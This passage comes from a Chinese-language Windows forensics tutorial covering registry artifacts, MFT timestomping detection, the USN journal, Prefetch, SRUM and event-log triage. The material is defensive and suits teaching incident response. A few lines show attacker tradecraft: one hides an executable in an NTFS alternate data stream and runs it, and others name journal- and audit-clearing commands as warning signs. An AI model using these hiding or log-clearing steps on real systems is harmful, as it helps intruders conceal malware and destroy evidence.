  正确:★ 输出到 U 盘或网络共享
      (上面的脚本 $OutDir 默认是 D:\,实际要改成外部介质)

坑三:忘了记时区
  后果:三个月后做时间线,你不知道这个时间是本地时间还是 UTC
  正确:★ 采集第一步就记录时区和本地时间
      Windows 事件日志里的 SystemTime 是【UTC】
      而 $MFT 里的时间戳也是【UTC】
      但很多工具显示时会自动转成本地时间 —— 这是最常见的错乱来源
      → 统一策略:所有分析都用 UTC,最后汇报时才转本地时间

8.2.2 注册表取证(信息密度最高的地方)

★ 注册表文件在哪,每个有什么

Hive 文件 挂载位置 存什么 取证价值
SYSTEM HKLM\SYSTEM 服务、驱动、USB 设备、网络配置、ShimCache ★★★★★
SOFTWARE HKLM\SOFTWARE 已安装软件、卸载记录、App Paths ★★★★
SAM HKLM\SAM 本地账号和密码哈希 ★★★★(攻击者目标)
SECURITY HKLM\SECURITY 安全策略、LSA 机密 ★★★
NTUSER.DAT HKCU(每个用户一份) 用户活动:UserAssist、Recent、TypedPaths、RunMRU ★★★★★
UsrClass.dat HKCU\Software\Classes Shellbags、打开/保存对话框历史、Jump Lists ★★★★
Amcache.hve (独立文件) 执行过的程序(含路径、哈希、首次执行时间) ★★★★★

★ 十个高价值取证点(面试能说出这些很加分)

┌──────────────────────────────────────────────────────────────┐
│ ① UserAssist —— 用户【手动】运行过哪些程序                     │
├──────────────────────────────────────────────────────────────┤
│ 位置:                                                        │
│   NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\       │
│           Explorer\UserAssist\{GUID}\Count                    │
│                                                               │
│ ★ 特殊之处:键名用 ROT13 编码(一种字母位移 13 位的简单加密)    │
│   例如:                                                      │
│     "{6P4R3O52-0BEQ-11d1-..."  →  ROT13 解出来是               │
│     "{6C4E3B52-0BRD-11d1-..."  (这是 UEME_CTLSESSION)        │
│   值名也是 ROT13:"Z:\QbJahzf\...\zjbeq.rkr" → "m:\Documents\...\word.exe" │
│                                                               │
│ 记录内容:                                                    │
│   - 程序路径                                                  │
│   - 运行次数(前 4 字节)                                      │
│   - ★ 最后一次运行时间(FILETIME)                             │
│   - 焦点持续时间(Win10+)                                     │
│                                                               │
│ 取证价值:★ 能证明"某个 exe 被【人】运行过"                    │
│   (区别于被服务或计划任务启动)                                │
│                                                               │
│ 工具:UserAssistView (NirSoft)、Registry Explorer (Eric Zimmerman) │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ② BAM / DAM —— 程序的最后执行时间(Win10+ 最强证据)           │
├──────────────────────────────────────────────────────────────┤
│ 位置:                                                        │
│   SYSTEM\CurrentControlSet\Services\bam\State\                │
│                             UserSettings\{SID}                │
│   SYSTEM\CurrentControlSet\Services\dam\State\                │
│                             UserSettings\{SID}                │
│                                                               │
│ 全称:                                                        │
│   BAM = Background Activity Moderator                         │
│   DAM = Desktop Activity Moderator                            │
│                                                               │
│ 记录内容:程序路径 + 【最后执行时间戳】                          │
│                                                               │
│ ★ 为什么重要:                                                 │
│   它能回答"这个恶意程序【最后一次】是什么时候跑的"               │
│   → 这是建立时间线的关键数据                                   │
│   ★ 而且它存在 SYSTEM hive 里,攻击者清空事件日志删不掉它       │
│                                                               │
│ 工具:Registry Explorer 直接看、bam-dam-parser.py              │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ③ ShimCache / AppCompatCache —— 程序执行痕迹(含已删除的)     │
├──────────────────────────────────────────────────────────────┤
│ 位置:SYSTEM\CurrentControlSet\Control\Session Manager\        │
│       AppCompatCache\AppCompatCache                           │
│                                                               │
│ ★ 为什么重要:                                                 │
│   ① 存在 SYSTEM hive 里,清事件日志不影响它                     │
│   ② ★ 即使程序文件【已经被删除】,ShimCache 的记录还在            │
│      → 能证明"曾经有个叫 xxx.exe 的东西被执行过"                 │
│      → 这是追查"攻击者删了文件想灭迹"的关键                     │
│                                                               │
│ 记录内容:文件路径、最后修改时间、执行标志位                     │
│                                                               │
│ ⚠️ 注意:                                                      │
│   - 不同 Windows 版本的格式不一样(XP/7/8/10 都不同)            │
│   - Win10 后主要靠 Amcache,ShimCache 仍有价值                  │
│   - ★ 不保证实时写入(可能延迟),时间戳精度有限                 │
│                                                               │
│ 工具:AppCompatCacheParser (Eric Zimmerman)、Registry Explorer  │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ④ Amcache —— 执行过的程序(★ Win10+ 最全面)                   │
├──────────────────────────────────────────────────────────────┤
│ 位置(两个):                                                 │
│   C:\Windows\AppCompat\Programs\Amcache.hve                   │
│   C:\Windows\AppCompat\Programs\Recent˙FileCache.bcf(老版本) │
│                                                               │
│ 记录内容(★ 比 ShimCache 详细得多):                           │
│   - 程序完整路径                                               │
│   - ★ SHA1 哈希(能直接拿去威胁情报平台查!)                   │
│   - 首次执行时间(FILETIME)                                   │
│   - 文件的 PE 信息(编译时间、公司名、产品名)                   │
│   - 安装/卸载记录                                              │
│   - ★ 驱动加载记录(Driver 子键)                               │
│                                                               │
│ ★ 为什么最重要:                                               │
│   Amcache 里的 SHA1 可以直接丢到 VirusTotal / 情报平台查,       │
│   立刻能知道"这个程序是不是恶意的"                              │
│   → 这是【最快的定性方法】                                      │
│                                                               │
│ 工具:AmcacheParser (Eric Zimmerman)                           │
│   AmcacheParser.exe -f Amcache.hve --csv C:\out                │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ⑤ USB 设备使用记录 —— 数据外泄取证的关键                       │
├──────────────────────────────────────────────────────────────┤
│ 位置(三个地方要一起看):                                      │
│   SYSTEM\CurrentControlSet\Enum\USBSTOR                       │
│     → 设备型号、★ 序列号、厂商                                 │
│   SYSTEM\CurrentControlSet\Enum\USB                           │
│     → 所有 USB 设备(含键盘鼠标)                              │
│   SYSTEM\CurrentControlSet\Control\DeviceClasses\{53f56307-...}│
│     → ★ 首次插入时间                                          │
│   SOFTWARE\Microsoft\Windows Portable Devices\Devices         │
│     → ★ 最后一次连接时间(Win7+)                              │
│   NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\        │
│           Explorer\MountPoints2                               │
│     → ★ 用户实际打开过这个 U 盘(有人插了不一定打开)            │
│                                                               │
│ ★ 取证价值:                                                   │
│   数据泄露场景的【核心证据】:                                  │
│   - 谁在离职前插了 U 盘                                        │
│   - 拷了多少文件(配合文件访问时间)                            │
│   - ★ U 盘序列号能定位到具体设备(法律上有用)                   │
│                                                               │
│ 工具:USBDetective、USBDeview (NirSoft)、Registry Explorer      │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ⑥ Shellbags —— 访问过的【文件夹】(含已删除的、网络的)         │
├──────────────────────────────────────────────────────────────┤
│ 位置:                                                        │
│   NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags            │
│   NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU          │
│   UsrClass.dat\Local Settings\Software\Microsoft\Windows\Shell\│
│                BagMRU / Bags                                  │
│                                                               │
│ ★ 为什么重要:                                                 │
│   记录用户在【资源管理器】里浏览过的所有文件夹,包括:           │
│   - ★ 已经删除的文件夹(证明它曾经存在)                        │
│   - ★ 网络共享的路径(\\server\share —— 证明他访问过哪些共享)   │
│   - U 盘里的目录结构                                           │
│   - 文件夹的查看方式、窗口位置                                  │
│                                                               │
│ 典型用途:                                                    │
│   "员工说他从没访问过财务共享目录"                              │
│   → Shellbags 里躺着 \\fileserver\finance\2026\salary          │
│   → ★ 直接证伪                                                 │
│                                                               │
│ 工具:ShellBags Explorer (Eric Zimmerman)                      │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ⑦ Recent / Jump Lists —— 最近打开的文件                        │
├──────────────────────────────────────────────────────────────┤
│ Recent 位置:                                                 │
│   C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\    │
│   (.lnk 文件,含目标路径、创建/修改/访问时间、★ 机器名、卷序列号)│
│                                                               │
│ Jump Lists 位置:                                             │
│   C:\Users\<user>\AppData\Roaming\Microsoft\Windows\           │
│           Recent\AutomaticDestinations\*.automaticDestinations-ms │
│   C:\Users\<user>\AppData\Roaming\Microsoft\Windows\           │
│           Recent\CustomDestinations\*.customDestinations-ms    │
│                                                               │
│ ★ 为什么重要:                                                 │
│   - LNK 文件里带【原始机器的主机名和卷序列号】                   │
│     → ★ 能证明"这个文件是从 U 盘/网络共享打开的"                 │
│     → 数据泄露取证的关键:证明文件被拷到了外部介质               │
│   - Jump Lists 记录更详细(打开次数、时间、具体文件)            │
│                                                               │
│ 工具:LECmd (Eric Zimmerman)、JLECmd (Eric Zimmerman)          │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ⑧ 网络历史 —— 连过哪些 Wi-Fi / 网络                            │
├──────────────────────────────────────────────────────────────┤
│ Wi-Fi:                                                       │
│   SOFTWARE\Microsoft\Windows NT\CurrentVersion\               │
│           NetworkList\Profiles                                │
│   → SSID、★ 首次连接时间、最后连接时间、网关 MAC                │
│   SOFTWARE\Microsoft\Windows NT\CurrentVersion\               │
│           NetworkList\Signatures\Unmanaged                    │
│   → ★ Wi-Fi 的 BSSID(能定位物理位置!)                        │
│                                                               │
│ ★ 取证价值:能画出"这台笔记本去过哪里"                          │
│   配合 BSSID 数据库(如 WiGLE)能定位到具体地址                 │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ⑨ 自启动项(★ 第六章讲过,这里是取证视角)                      │
├──────────────────────────────────────────────────────────────┤
│ 检查位置(共 20+ 处,★ 用 autoruns 最全):                     │
│   HKLM/HKCU\...\Run、RunOnce                                  │
│   HKLM\...\Winlogon\Userinit、Shell                           │
│   HKLM\...\Image File Execution Options(★ IFEO 劫持)         │
│   HKLM\SYSTEM\CurrentControlSet\Services                      │
│   HKLM\...\Windows NT\CurrentVersion\Schedule\TaskCache        │
│   HKLM\...\Windows NT\CurrentVersion\SilentProcessExit         │
│   HKLM\...\Windows NT\CurrentVersion\Winlogon\Notify           │
│   HKCU\...\Windows\Load                                       │
│   ★ AppInit_DLLs、LSA 的认证包、网络提供程序、Winsock LSP        │
│   启动文件夹、WMI 事件订阅、计划任务                            │
│                                                               │
│ 工具:★ autoruns.exe(Sysinternals,最全面)                    │
│   autoruns -a * -c -h > autoruns.csv                          │
│   ★ 一定要加 -v(验证签名)和 -h(算哈希)                      │
│   ★ 对比法最快:把结果跟一台干净机器 diff                       │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ ⑩ TypedPaths / RunMRU / WordWheelQuery —— 用户输入的痕迹       │
├──────────────────────────────────────────────────────────────┤
│ TypedPaths(资源管理器地址栏输入过的路径):                     │
│   NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\        │
│           Explorer\TypedPaths                                 │
│                                                               │
│ RunMRU(运行对话框 Win+R 输入过的命令)★ 高价值:                │
│   NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\        │
│           Explorer\RunMRU                                     │
│   → ★ 可能直接看到攻击者输入的 cmd、powershell、工具路径         │
│                                                               │
│ WordWheelQuery(开始菜单/资源管理器搜索框输入过的内容):         │
│   NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\        │
│           Explorer\WordWheelQuery                             │
│   → 能看到他搜过什么文件名(比如搜"密码")                       │
└──────────────────────────────────────────────────────────────┘

★ 注册表取证工具链(Eric Zimmerman 的套装是业界标准)

工具集:Eric Zimmerman's Tools(免费、开源、命令行、可批处理)
  https://ericzimmerman.github.io/

常用组件:
  Registry Explorer (RECmd)     注册表浏览与解析(图形+命令行)
  AmcacheParser                 解析 Amcache.hve
  AppCompatCacheParser          解析 ShimCache
  ShellBags Explorer (SBECmd)   解析 Shellbags
  LECmd                        解析 LNK 文件(Recent)
  JLECmd                       解析 Jump Lists
  MFTECmd                      解析 $MFT
  WxTCmd                       解析 Prefetch
  srum-dump                    解析 SRUM
  EvtxECmd                     解析事件日志(转 CSV/XML)
  Timeline Explorer            查看上面所有工具的输出(图形界面)

★ 用法套路(batch 批处理,一次全出):
  AmcacheParser.exe     -f "D:\evidence\Amcache.hve" --csv D:\out
  AppCompatCacheParser.exe -f "D:\evidence\SYSTEM" --csv D:\out
  RECmd.exe --bn "D:\BatchExamples\CSVBatch.reb" -f "D:\evidence\NTUSER.DAT" --csv D:\out
  MFTECmd.exe -f "D:\evidence\$MFT" --csv D:\out
  EvtxECmd.exe -f "D:\evidence\Security.evtx" --csv D:\out

  ★ 然后用 Timeline Explorer 打开,排序、过滤、拼时间线

8.2.3 文件系统取证(MFT、USN、Prefetch)

★ $MFT:NTFS 的“户口本”

一句话定义:MFT(Master File Table,主文件表) 是 NTFS 文件系统的核心数据库,每一个文件和目录在 MFT 里都有一条记录。

★ 为什么它是取证之王

关键特性:文件被"删除"时,Windows 【不会】立即删除 MFT 记录
         只是把它标记为"未使用",并把磁盘空间标记为可用

★ 所以:
   文件删除了 → MFT 记录还在(标记为未激活)
              → 记录里有:文件名、完整路径、大小、四个时间戳、数据位置
              → ★ 只要那块空间还没被新数据覆盖,文件内容也能恢复

★ 这解释了取证里最重要的一个原则:
   【不要在可疑机器上写入任何东西】
   → 你每写一个文件,都可能覆盖掉攻击者删除的关键证据

MFT 记录的四个时间戳(★ 必考)

Windows 文件系统用 4 个时间戳(合称 MACB 的变体):

  ① Created(创建时间)      文件在这个卷上创建的时间
  ② Modified(修改时间)   ★ 文件内容最后修改的时间
  ③ Accessed(访问时间)     最后访问时间
                            ⚠️ Win10 默认【关闭】了访问时间更新(性能考虑)
                            → 所以这个字段经常不可靠
  ④ MFT Modified / Entry Modified(★ MFT 记录修改时间)
                            文件元数据变化(改名、移动、权限修改)
                            ★ 这个字段【无法被常见的 timestomping 工具改掉】

★ Timestomping 检测的核心(★ 面试高频):
   攻击者用工具把 Created/Modified/Accessed 改成伪造的时间,
   但往往忘掉第四个 —— MFT Entry Modified

   → 如果看到 Created 是 2020 年,而 Entry Modified 是 2026 年
     ★ 几乎可以断定这个文件被 timestomping 过

   MFT 里的时间是 UTC,FILETIME 格式(1601-01-01 起的 100 纳秒计数)

★ 时间属性对比表(如何发现伪造)

检查项 正常情况 可疑情况
$SI.Created vs $SI.Modified Created ≤ Modified ★ Created > Modified(创建后于修改,物理上不可能)
$SI.Created vs $FN.Created 两者应一致 ★ 不一致 → 可能被改过或被移动过
$SI 四时间 vs $SI.Entry Modified Entry Modified 应 ≥ 其他 ★ Entry Modified 明显晚于伪造的时间
文件创建时间 vs 父目录创建时间 文件应晚于其所在目录 ★ 文件早于目录 → 从别处拷过来的伪造
文件时间 vs 系统安装时间 文件应晚于系统安装 ★ 早于系统安装时间 → 伪造
大量文件时间完全相同 可能是批量拷贝(正常) ★ 但如果是系统文件的时间被改 → 可疑
时间戳的小数部分(纳秒位) 真实操作通常有随机的亚秒值 ★ 被工具批量改成整点整秒 → 伪造痕迹
★ $SI vs $FN 的解释(进阶,但很重要)

  MFT 每条记录里有【两套】时间信息:
    $STANDARD_INFORMATION($SI):Windows 维护的,★ 可以被 timestomping 改
    $FILE_NAME($FN):存在【父目录的索引】里,★ 普通 API 改不了

  → 攻击者改了 $SI 的时间,但 $FN 里的时间还是真的
  → ★ 对比这两个,能直接识破伪造

  工具:MFTECmd 输出里就有这两组时间,可以直接对比
  analyzeMFT.py 也有 --anomaly 参数自动检测这些不一致

★ $UsnJrnl(USN 日志):文件变更的流水账

一句话定义:NTFS 的 USN Journal(Update Sequence Number Journal) 记录卷上每一个文件和目录的每一次变更(创建、删除、改名、修改数据、关闭)。

位置:C:\$Extend\$UsnJrnl:$J   (是一个 NTFS 的备用数据流,普通 ls 看不到)

★ 为什么它是"杀手级"证据:
   ① 记录【删除】动作 —— 文件删了,但"谁在什么时候删了它"这条记录还在
   ② ★ 即使攻击者用擦除工具删文件,USN 日志里仍然有"它被删了"的记录
   ③ 记录改名(旧名 → 新名)
   ④ 有时间戳、有文件名、有文件引用号(MFT entry number)
   ⑤ ★ 攻击者几乎无法清理它(需要 SYSTEM 权限,而且清了会留 Event 日志)

★ 局限性(要诚实说):
   ① 默认大小有限(约 30MB 或卷大小的 0.1%),★ 会循环覆盖
      → 繁忙的系统上可能只保留几天甚至几小时
   ② 不记录"谁"做的(没有用户 SID)
   ③ 可以被 fsutil usn deletejournal 删除(★ 但这本身就是一个高危告警信号)

工具:
   MFTECmd -f "C:\$Extend\$UsnJrnl:$J" --csv out
   UsnJrnl2Csv (Joakim Schicht)
   ★ 或者用 rawcopy 提取:
     rawcopy /FileNamePath:C:\$Extend\$UsnJrnl /AlternateStreamName:$J /OutputPath:D:\evidence

★ Prefetch:程序执行记录

位置:C:\Windows\Prefetch\*.pf
格式:文件名 = <程序名>-<路径的哈希>.pf
      例如:MIMIKATZ.EXE-A1B2C3D4.pf

★ 每条记录包含:
   - 程序名和完整路径(★ 虽然文件名是哈希,但内容里有完整路径)
   - 运行次数
   - ★ 最后一次运行时间(★ 共 8 个时间戳,最晚的那个是最后运行时间)
   - 加载的 DLL 列表
   - 访问过的文件和目录(前几次运行的)

★ 取证价值:
   ① 证明"某个程序运行过"(即使文件已被删除)
   ② ★ 能拿到"最后一次运行时间"(时间线的关键锚点)
   ③ DLL 列表能看出它加载了什么(比如 lsasrv.dll → 可能在偷凭据)

⚠️ 重要前提:
   Prefetch 默认是【开启】的,但服务器版 Windows 默认是【关闭】的
   → 服务器上可能没有 Prefetch,别白找
   → 检查:HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\
            Memory Management\PrefetchParameters\EnablePrefetcher
             0=禁用  1=应用  2=启动  3=应用+启动(客户端默认)

⚠️ 另一个坑:
   系统盘是 SSD 时,Windows 可能自动禁用 Prefetch(SuperFetch)
   → 现代机器上要确认它到底开没开

攻击者视角:
   ★ 很多人会删 Prefetch 想灭迹
   → 但删 Prefetch 目录本身会留 Event 日志,而且 USN 日志里有记录
   ★ 更好的做法是:看 Prefetch 里【有没有某个文件】——
     如果该有而没有,说明被人清理过 = 一个强烈的恶意行为信号

工具:PECmd / WxTCmd (Eric Zimmerman)
   PECmd.exe -f "C:\Windows\Prefetch\MIMIKATZ.EXE-A1B2C3D4.pf"
   PECmd.exe -d "C:\Windows\Prefetch" --csv D:\out

★ SRUM:程序的网络流量与资源用量

位置:C:\Windows\System32\sru\SRUDB.dat
     (需要配合 SOFTWARE hive 才能解析)

★ 记录内容(按应用程序统计):
   - 网络流量:每个程序发送/接收了多少字节(★ 按小时统计)
   - CPU 时间、内存使用
   - 最后活动时间

★ 取证价值(★ 数据泄露场景的杀手锏):
   ① 能看出"某个程序在某个时间段传了 5GB 数据出去"
      → 即使网络流量日志没了
   ② ★ 按小时粒度,能精确定位"外传发生在几点到几点"
   ③ 即使攻击者删了程序文件,SRUM 记录还在

⚠️ 局限性:
   ① 只记录【有网络接口统计】的应用,粒度是小时
   ② ★ 需要 SOFTWARE hive 才能解析(要一起采集)
   ③ 可能被攻击者清空

工具:srum-dump (Mark Baggett)
   srum_dump.exe -i SRUDB.dat -r SOFTWARE.hiv -o srum.xlsx

★ $Recycle.Bin 与 $I30

$Recycle.Bin(回收站):
  位置:C:\$Recycle.Bin\<用户SID>\
  两个文件:
    $I<随机>  → 【索引文件】:★ 原始文件名、原始路径、删除时间、文件大小
    $R<随机>  → 【实际内容】:被删文件的完整内容
  
  ★ 取证价值:
    - $I 文件里有【原始的绝对路径】
    - ★ 有删除时间(除非是 Shift+Delete 永久删除)
    - $R 文件是完整内容,可以直接打开分析
  
  ⚠️ 坑:$I 文件里的时间是【删除时间】,不是文件的创建时间

$I30(目录索引):
  位置:每个目录的 NTFS 属性里($INDEX_ROOT 和 $INDEX_ALLOCATION)
  ★ 作用:目录里存了哪些文件的索引
  ★ 取证价值:文件被删除后,【索引里的条目不会立即清空】
    → 能恢复出"这个目录里曾经有哪些文件名",即使 MFT 记录已被复用
    → 工具:MFTECmd 的 --de 参数、INDXParse.py

★ 完整的文件系统取证流程(实战)

#!/bin/bash
# windows_fs_forensics.sh —— Windows 文件系统取证(在 Linux 分析机上跑)
# 前置:已把证据放到 /evidence/

EVID=/evidence
OUT=/case/filesystem
mkdir -p $OUT

echo "=== [1/6] 只读挂载原始镜像 ==="
# ★ 必须只读!
mount -o ro,loop,show_sys_files,streams_interface=windows $EVID/disk.E01 $EVID/mnt
#   show_sys_files              → 让 $MFT、$UsnJrnl 这些元数据文件可见
#   streams_interface=windows   → 支持 NTFS 备用数据流(ADS,攻击者常用它藏东西)

echo "=== [2/6] 提取并解析 \$MFT ==="
# 方法:直接从挂载点拷贝
cp "$EVID/mnt/\$MFT" $OUT/MFT
# 解析
MFTECmd.exe -f $OUT/MFT --csv $OUT/mft_csv
# 或用 Python 版
analyzeMFT.py -f $OUT/MFT -o $OUT/mft_analysis.csv
# ★ 自动检测 timestomping
analyzeMFT.py -f $OUT/MFT -o $OUT/mft_anomaly.csv --anomaly

echo "=== [3/6] 提取并解析 USN 日志 ==="
cp "$EVID/mnt/\$Extend/\$UsnJrnl" $OUT/UsnJrnl
MFTECmd.exe -f $OUT/UsnJrnl --csv $OUT/usn_csv

echo "=== [4/6] 解析 Prefetch ==="
PECmd.exe -d "$EVID/mnt/Windows/Prefetch" --csv $OUT/prefetch

echo "=== [5/6] 解析 Amcache 和 ShimCache ==="
AmcacheParser.exe -f "$EVID/mnt/Windows/AppCompat/Programs/Amcache.hve" --csv $OUT/amcache
AppCompatCacheParser.exe -f "$EVID/mnt/Windows/System32/config/SYSTEM" --csv $OUT/shimcache

echo "=== [6/6] 检查 NTFS 备用数据流(ADS,★ 常见藏东西的地方)==="
# Linux 下用 getfattr
getfattr -R -d -m - "$EVID/mnt" 2>/dev/null > $OUT/ads_linux.txt
# ★ 或用 PowerShell(在原始机上):
#   Get-ChildItem -Recurse | ForEach-Object {
#     Get-Content $_.FullName -Stream * -ErrorAction SilentlyContinue |
#     Where-Object { $_.Stream -ne ':$DATA' }
#   }
# ★ 最常见的恶意用法:
#   type malware.exe > C:\Windows\Temp\readme.txt:malware.exe
#   → 文件看起来是个 txt,实际藏了个 exe
#   → 执行:start C:\Windows\Temp\readme.txt:malware.exe

echo "=== 完成,输出在 $OUT ==="

8.2.4 事件日志取证(evtx)

★ evtx 文件格式基础

位置:C:\Windows\System32\winevt\Logs\*.evtx

常见文件:
  Security.evtx              ★ 安全审计日志(登录、权限变更)
  System.evtx                系统事件(服务、驱动、开关机)
  Application.evtx           应用程序事件
  Setup.evtx                 安装事件
  Microsoft-Windows-PowerShell%4Operational.evtx   ★ 4103/4104
  Microsoft-Windows-Sysmon%4Operational.evtx       ★ Sysmon
  Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx
  Microsoft-Windows-WinRM%4Operational.evtx        ★ WinRM 横向
  Microsoft-Windows-TaskScheduler%4Operational.evtx
  Microsoft-Windows-Windows Defender%4Operational.evtx
  Microsoft-Rdms-UI%4Operational.evtx

格式要点(取证时很重要):
  - 二进制格式,文件头是 "ElfFile\0"
  - ★ 每条记录独立,有魔数 0x2a2a("**")
  - 记录被删除后,★ 残留数据仍在文件里(未分配的块)
    → 用 evtx 恢复工具能捞回来一部分
  - 循环覆盖:满了之后覆盖最老的记录
    → ★ 这就是为什么日志要集中转发(SIEM)
  - 时间戳是 UTC

★ 日志解析工具三选一

# ① EvtxECmd(Eric Zimmerman,Windows,★ 最推荐)
EvtxECmd.exe -f "D:\evidence\Security.evtx" --csv D:\out
#   参数:
#     --csv <dir>     输出 CSV(大数据量时性能最好)
#     --xml <dir>     输出 XML(保留完整结构)
#     --json <dir>    输出 JSON(接 Elastic 时用)
#     -d <dir>        批量处理整个目录
#   ★ 它会同时输出 Event ID、时间、以及所有 EventData 字段(展开成列)
#     → 直接用 Excel/Timeline Explorer 就能分析

# ② chainsaw(★ 最推荐的"狩猎"工具,跨平台,内置大量检测规则)
#    https://github.com/WithSecureLabs/chainsaw
# 用法一:按 Sigma 规则搜索
chainsaw hunt D:\evidence\eventlogs\ -s sigma/ --mapping mappings/sigma-event-logs-all.yml
# 用法二:搜索关键词
chainsaw search D:\evidence\eventlogs\ -e "mimikatz" -e "lsass" -e "samlib"
# 用法三:内置的所有检测规则过一遍(★ 新手最快上手)
chainsaw hunt D:\evidence\eventlogs\ -s ./rules/ --mapping mappings/sigma-event-logs-all.yml
#   ★ 内置规则覆盖了:mimikatz、PTH、可疑服务、影子账户、
#     日志清除、RDP 爆破、PowerShell 可疑命令等几十种
# 用法四:查看某类事件
chainsaw dump D:\evidence\eventlogs\ -- Tau
# ★ chainsaw 的价值:不用自己写规则,开箱即用,10 分钟出结论

# ③ python-evtx(Python 库,需要编程)
python -m Evtx.evtx_dump Security.evtx > security.xml
#   然后自己解析 XML
#   适合:需要自定义逻辑、需要接自己的分析流水线

# ④ 恢复被删除的记录(★ 进阶)
python evtx_carver.py Security.evtx    # 从文件碎片里捞记录

★ 事件日志取证的六个关键技巧

技巧一:先看"日志本身的状态"

  ★ 第一步永远是检查日志的完整性,而不是直接搜关键词:

    ① 日志有没有被清空?
       Event 1102(安全日志被清空)
       Event 104 (系统日志被清空)
       ★ 看到就是高危,无条件告警

    ② 日志的起止时间是不是连续的?
       → 中间有"断档" = 有人清过,或者服务被停过
       → ★ 对比多个日志通道的起止时间:
          如果 Security 从 3/15 开始,而 System 从 1/1 开始
          ★ 说明 Security 被清过

    ③ 日志服务有没有被停过?
       Event 7036 / 7040 / 7045(服务状态变更)
       Event 1100(事件日志服务关闭)
       → 攻击者常用 "auditpol /clear" 或停止服务来清日志

    ④ 审计策略有没有被改过?
       Event 4719(审计策略变更)
       Event 4902(Per-user 审计策略表创建)
       Event 4907(审计设置变更)
       → ★ 攻击者可能先关掉审计再做坏事,然后恢复

    ⑤ 有没有 Event 4906 或 CrashOnAuditFail?
       → 安全日志满了导致的,可能是日志配置的锅

技巧二:按"时间窗口"而不是"全量"分析

  全量 Security 日志可能有几百万条,人肉看不完。
  ★ 正确做法:先确定关键时间点,再看它前后各 1~2 小时

  关键时间点从哪来?
    - 告警时间
    - 恶意文件的创建时间(MFT)
    - 恶意程序的最后执行时间(BAM / Amcache / Prefetch)
    - 外部通知的时间(客户投诉、监管通报)

技巧三:用"账号"和"主机"做主线串

  ★ 不要按时间顺序一条条看,要按【主体】串:
    - 某个账号的所有登录记录(4624 按 TargetUserName 排序)
    - 某台机器的所有来源连接(4624 按 IpAddress 排序)
    - 某个异常进程的所有出现(4688 按 NewProcessName 排序)
  ★ 这样能一眼看出"横向移动的图谱"

技巧四:Logon Type 是判读 4624 的钥匙

  (详见第七章 G16 的表,这里补取证视角)
  Type 2  本地交互式(键盘)
  Type 3  网络 ★ 横向移动最主要
  Type 4  批处理(计划任务)
  Type 5  服务
  Type 7  解锁
  Type 9  NewCredentials ★ PTH 经典(runas /netonly)
  Type 10 RDP ★ 远程桌面

  ★ 取证关键判据:
    - Type 3 来自办公网 IP → 横向移动
    - Type 10 来自外部 IP → 突破边界了
    - Type 9 + 4648 → PTH
    - ★ Type 3 但账号是本地账号 → 可能是 PTH 用本地管理员

技巧五:关注"失败"日志(4625 / 4771 / 4776)

  失败日志的价值常被低估。它能揭示:
    - 密码喷洒(一个源 IP 对大量账号失败)
    - 定向爆破(一个账号大量失败)
    - ★ 攻击者尝试过的账号名(说明他知道了哪些账号名 = 已经做过枚举)
    - ★ 攻击时间窗口(第一次失败 = 攻击起点)

  ★ 特别提醒:4625 的 SubStatus 字段能区分失败原因:
    0xC000006A  密码错误(★ 账号存在)
    0xC0000064  用户不存在
    0xC0000234  账号被锁定
    0xC0000072  账号被禁用
    0xC000006F  在非允许时间登录
    0xC0000070  工作站限制
    0xC0000413  认证防火墙限制
    0xC000018C  域信任关系失败
    0xC000005E  没有登录服务器可用
    ★ 0xC000006A 大量出现 = 密码喷洒

技巧六:交叉验证(★ 最重要)

  ★ 任何单条日志都不能作为结论,必须交叉验证:

    例子:发现一条 4624 显示域管从 10.20.5.8 登录
    交叉验证:
      ① 同一时间这台机器有没有 4688(进程创建)?
      ② 网络侧有没有 10.20.5.8 到服务器的连接记录?
      ③ 这台机器本身的日志里有没有对应的会话?
      ④ ★ 域控上有没有对应的 4769(票据请求)?(没有 = 白银票据)
      ⑤ 这个时间这个人有没有其他登录记录?(同一时间两地登录 = 异常)
    ★ 五个来源都说得通,才能下结论

★ 常见 Event ID 速查(取证版,按攻击阶段组织)

═══ 初始访问 ═══
4624 Type 10/3 异常来源 IP       远程登录
4625 大量失败                     爆破/喷洒
4648 显式凭据                      runas、PTH
4720 新建用户                      后门账号
4738 账号被修改                    权限变更

═══ 执行 ═══
4688 进程创建(★ 需要开命令行)
4104 PowerShell 脚本块            ★ 无文件攻击的克星
4103 PowerShell 模块
Sysmon 1 进程创建(含哈希、父子进程)
Sysmon 7 Image Load(★ 反射加载 DLL)
Sysmon 8 CreateRemoteThread(★ 注入)

═══ 持久化 ═══
4698 计划任务创建
4702 计划任务修改
7045 服务安装
Sysmon 12/13/14 注册表(Run 键)
Sysmon 19/20/21 WMI 订阅 ★
4738/4735/4737 账号/组变更

═══ 权限提升 ═══
4672 特殊权限授予
4673/4674 特权服务调用
4728/4732/4756 加安全组 ★
Sysmon 10 ProcessAccess(★ LSASS 访问)

═══ 防御规避 ═══
1102 安全日志被清空 ★★
104  系统日志被清空
4719 审计策略变更 ★
4699 计划任务被删除
Sysmon 4 服务状态变更
4794 DSRM 密码修改

═══ 凭据访问 ═══
Sysmon 10 访问 LSASS ★★
4622 安全包被加载(老版 mimikatz)
4662 目录服务访问(DCSync)★
4776 NTLM 认证

═══ 横向移动 ═══
4624 Type 3/10                    ★ 主要证据
4648 显式凭据
Sysmon 3 网络连接
